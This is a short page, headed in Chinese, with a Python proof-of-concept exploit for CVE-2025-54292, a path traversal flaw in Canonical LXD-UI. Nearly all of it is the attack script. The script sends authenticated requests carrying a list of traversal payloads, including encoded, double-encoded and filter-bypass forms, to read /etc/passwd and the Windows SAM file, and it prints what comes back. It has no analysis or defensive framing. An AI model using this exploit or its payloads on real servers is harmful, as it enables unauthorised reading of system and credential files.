CVE-2025-54292：Canonical LXD-UI 路径遍历漏洞

# CVE-2025-54292 - Canonical LXD-UI Path Traversal PoC # Affected: LXD-UI versions before 6.5 and 5.21.4 import requests from urllib.parse import quote TARGET_URL = "https://lxd-ui-target:8443" AUTH_TOKEN = "your_auth_token_here" # Low-privilege authenticated session token def exploit_path_traversal(base_url, token, traversal_path): """ Exploit path traversal in LXD-UI by injecting traversal sequences into resource names embedded in URL paths. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Construct malicious URL with path traversal payload # Example: /api/v1/instances/..%2F..%2F..%2Fetc%2Fpasswd encoded_payload = quote(traversal_path, safe='') malicious_url = f"{base_url}/ui/instance/{encoded_payload}" print(f"[*] Sending path traversal request to: {malicious_url}") response = requests.get(malicious_url, headers=headers, verify=False) if response.status_code == 200: print(f"[+] Success! Retrieved content:") print(response.text) return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None # Example payloads payloads = [ "../../../etc/passwd", "..%2F..%2F..%2Fetc%2Fpasswd", "....//....//....//etc/passwd", "..%252f..%252f..%252fetc%252fpasswd", # Double encoding "..\\..\\..\\windows\\system32\\config\\sam" # Windows style ] if __name__ == "__main__": for payload in payloads: print(f"\n[*] Trying payload: {payload}") result = exploit_path_traversal(TARGET_URL, AUTH_TOKEN, payload) if result: break